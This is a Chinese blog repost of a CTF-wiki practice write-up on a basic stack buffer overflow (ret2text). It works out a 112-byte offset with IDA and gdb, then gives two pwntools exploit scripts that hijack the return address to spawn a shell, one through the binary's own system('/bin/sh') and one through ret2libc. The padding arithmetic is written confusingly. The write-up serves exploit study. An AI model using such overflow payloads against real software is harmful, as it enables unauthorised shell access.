zoukankan      html  css  js  c++  java
  • ctfwiki-pwn:Basic ROP(ret2text)

    实验程序:ret2text

    使用IDA PRO反汇编:

     

     

    拿到进入gett函数的call之后进行gdb调试,下这个call的断点,然后运行得到如图:

     

    s的地址=0xffffd0f0+0x1c=0xFFFFD10C
    s到ebp的偏移地址:0xffffd178-0xFFFFD10C=6ch

    得到s到ebp的偏移地址,+4就到ebp,再+4就到ret了,即s到ret之前的填充为0ch+4=112

    在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

    解题方法一:使用ret2text编写EXP (ret2text即控制程序执行程序本身已有的的代码 (.text))

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./ret2text')
    offset=112
    shell=0x0804863A
    io.recvuntil('There is something amazing here, do you know anything?')
    payload='a'*offset+p32(shell)
    io.sendline(payload)
    io.interactive()

    解题方法二:使用ret2libc编写EXP(当程序没有system或者/bash/bin也能使用)

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./ret2text')
    offset=112
    libc_base=0xf7dc9000
    shell=libc_base+0x00045830
    bash=libc_base+0x00192352
    io.recvuntil('There is something amazing here, do you know anything?')
    payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash)
    io.sendline(payload)
    io.interactive()
  • 相关阅读:
    mongodb的sql例子(简单版)
    git上传github上
    git中的版本库,暂存区和工作区
    进程与线程的区别
    mysql 在linux 修改账号密码
    linux 下 yum 安装mysql
    linux 下 修改mysql账号密码
    linux 下开放端口问题
    linux 下安装tomcat
    Ubuntu 配置Tomcat环境(转载)
  • 原文地址:https://www.cnblogs.com/luocodes/p/13917178.html
Copyright © 2011-2022 走看看